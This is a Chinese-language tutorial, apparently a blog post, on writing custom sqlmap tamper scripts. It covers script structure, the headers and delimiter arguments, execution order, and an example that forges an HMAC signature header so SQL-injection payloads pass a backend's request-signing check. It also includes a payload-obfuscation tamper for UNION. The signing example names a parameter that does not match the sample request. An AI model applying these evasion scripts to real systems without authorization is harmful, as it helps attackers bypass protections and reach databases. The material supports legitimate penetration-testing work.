sqlmap作为 sql 注入神器,也不需要多介绍什么。本篇介绍的是 tamper 脚本功能,通过编写自定义 tamper 来实现对请求/payload 的修改来进行某些场景化绕过。
1.tamper 结构
以一个现有 tamper 脚本0eunion.py来说明,结构如下:
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload主要为三部分:
__priority__:多个tamper 执行时的优先级,LOWEST(-100)、LOWER(-50)、LOW(-10)、NORMAL(0)、HIGH、HIGHER、HIGHEST。dependencies():直译“依赖”,应该是可以做一些输出提示。tamper():对请求/payload 的实际处理逻辑函数。
2.tamper 函数
tamper 函数有两个参数:payload和**kwargs。payload 不必多说,这里简单看一下**kwargs有哪些字段。
编写一个 tamper,用于输出字段信息:
def tamper(payload, **kwargs):
print("\n=== kwargs内容 ===")
for key, value in kwargs.items():
print(f"{key}: {value}")
print("=================\n")
return payload发现,存在三个字段:headers,delimiter,hints。
=== kwargs内容 ===
headers: {}
delimiter: &
hints: {}
=================delimiter为参数分隔符,hints应为某些运行参数及测试结果保存字段(这里没做深入研究)。
所以实际上,我们可以对 payload 和 header 进行直接修改,基本上可以满足很多的场景化需求。
3.tamper 多个执行
在 1.9 版本中,设置多个 tamper 时,将会逐个执行 tamper 脚本,可以选择按照自己指定的顺序执行,或按照脚本优先级执行(同优先级先指定先执行)。
以下为执行示例,编写 a1-3 三个脚本,每个脚本输出对应序号,内容基本相同,a1 和 a3 同优先级,a2 优先级最低。
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
print('a1')
def tamper(payload, **kwargs):
print(payload + '-1')
return payload + '-1'
4.示例场景
4.1 接口签名处理
在对接口进行注入测试时,发现请求 header 存在 sgin 参数,接口后端会对请求参数验签。千辛万苦从前端 JS 搞出了签名逻辑,可不能倒在途中。
POST /api/getdata HTTP/1.1
Host: demo.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sign: adS-Oxf5Fw4
p=zhang&order=dataTamper 脚本编写,测试时直接指定脚本:
import base64
import hashlib
import hmac
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def generate_sign(data, secret="abcd"):
digest = hmac.new(secret.encode('latin1'),
data.encode('latin1'),
hashlib.sha256).digest()
return base64.urlsafe_b64encode(digest[:8]).decode().rstrip("=")
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
data = f"q=&order={payload}"
headers["Sign"] = generate_sign(data)
return payload
